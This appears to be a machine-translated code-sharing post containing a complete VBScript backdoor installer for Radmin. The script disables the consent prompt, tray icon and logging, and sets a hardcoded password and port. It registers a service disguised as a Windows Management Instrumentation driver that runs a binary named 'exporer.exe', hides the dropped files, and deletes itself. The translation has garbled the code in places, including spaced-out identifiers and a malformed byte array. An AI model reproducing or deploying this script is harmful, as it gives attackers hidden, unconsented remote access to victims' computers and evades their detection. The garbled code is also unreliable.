CopyCode The Code is as follows: on error resume next
Const HKEY_LOCAL_MACHINE = & h80000002
Strcomputer = "."
Set stdout = wscript. stdout
Set oreg = GetObject ("winmgmts: {impersonationlevel = impersonate }! \\"&_
Strcomputer & "\ Root \ default: stdregprov ")
Strkeypath = "SYSTEM \ Radmin"
Oreg. createkey HKEY_LOCAL_MACHINE, strkeypath
Strkeypath = "SYSTEM \ Radmin \ V2.0"
Oreg. createkey HKEY_LOCAL_MACHINE, strkeypath
Strkeypath = "SYSTEM \ Radmin \ V2.0 \ Server"
Oreg. createkey HKEY_LOCAL_MACHINE, strkeypath
Strkeypath = "SYSTEM \ Radmin \ V2.0 \ Server \ iplist"
Oreg. createkey HKEY_LOCAL_MACHINE, strkeypath
Strkeypath = "SYSTEM \ Radmin \ V2.0 \ Server \ Parameters"
Oreg. createkey HKEY_LOCAL_MACHINE, strkeypath
Set objregistry = GetObject ("winmgmts: Root \ default: stdregprov ")
Strpath = "SYSTEM \ Radmin \ V2.0 \ Server \ Parameters"
Ubinary = array (0, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "askuser", ubinary)
Ubinary = array (0, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "autoallow", ubinary)
Ubinary = array (1, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "disabletrayicon", ubinary)
Ubinary = array (0, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "enableeventlog", ubinary)
Ubinary = array (0, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "enablelogfile", ubinary)
Ubinary = array (0, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "filterip", ubinary)
Ubinary = array (0, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "ntauthenabled", ubinary)
Ubinary = array (198,195,162,215, 37,223, 10,224, 212,173,208,119, 241241241,) // convert the hexadecimal format for registry export to decimal data pass:
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "parameter", ubinary) // Radmin Password
Ubinary = array (5, 4, 0, 0) // port: 1029
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "Port", ubinary)
Ubinary = array (10, 0, 0, 0)
Return = objregistry. setbinaryvalue (HKEY_LOCAL_MACHINE, strpath, "timeout", ubinary)
Set oreg = GetObject ("winmgmts: {impersonationlevel = impersonate }! \ "& Strcomputer &" \ Root \ default: stdregprov ")
Strkeypath = "SYSTEM \ Radmin \ V2.0 \ Server \ Parameters"
Strvaluename = "logfilepath"
Strvalue = "C: \ logfile.txt"
Set wshshell = Createobject ("wscript. Shell ")
A = wshshell. Run ("SC .exe create winmanagehelp binpath = % SystemRoot % \ system32 \ exporer.exe start = auto", 0)
Oreg. setstringvalue HKEY_LOCAL_MACHINE, strkeypath, strvaluename, strvalue
Set oreg = GetObject ("winmgmts: {impersonationlevel = impersonate }! \ "& Strcomputer &" \ Root \ default: stdregprov ")
Strkeypath = "SYSTEM \ controlset001 \ Services \ winmanagehelp"
Strvaluename = "Description"
Strvalue = "Windows Media playerwindows Management Instrumentation player drivers ."
Oreg. setstringvalue HKEY_LOCAL_MACHINE, strkeypath, strvaluename, strvalue
Strvaluename = "displayname"
Strvalue = "Windows Management Instrumentation player drivers"
Oreg. setstringvalue HKEY_LOCAL_MACHINE, strkeypath, strvaluename, strvalue
Strvaluename = "ImagePath"
Strvalue = "C: \ windows \ system32 \ exporer.exe/service"
Oreg. setexpandedstringvalue HKEY_LOCAL_MACHINE, strkeypath, strvaluename, strvalue
Set wshshell = Createobject ("wscript. Shell ")
A = wshshell. Run ("Net start winmanagehelp", 0)
B = wshshell. Run ("attrib + R + H + S % SystemRoot % \ system32 \ exporer.exe", 0)
C = wshshell. Run ("attrib + R + H + S % SystemRoot % \ system32 \ admdll. dll", 0)
D = wshshell. Run ("attrib + R + H + S % SystemRoot % \ system32 \ raddrv. dll", 0)
Createobject ("scripting. FileSystemObject"). deletefile (wscript. scriptname) // Delete
the best deletion code is good
Createobject ("scripting. FileSystemObject"). deletefile (script. scriptname)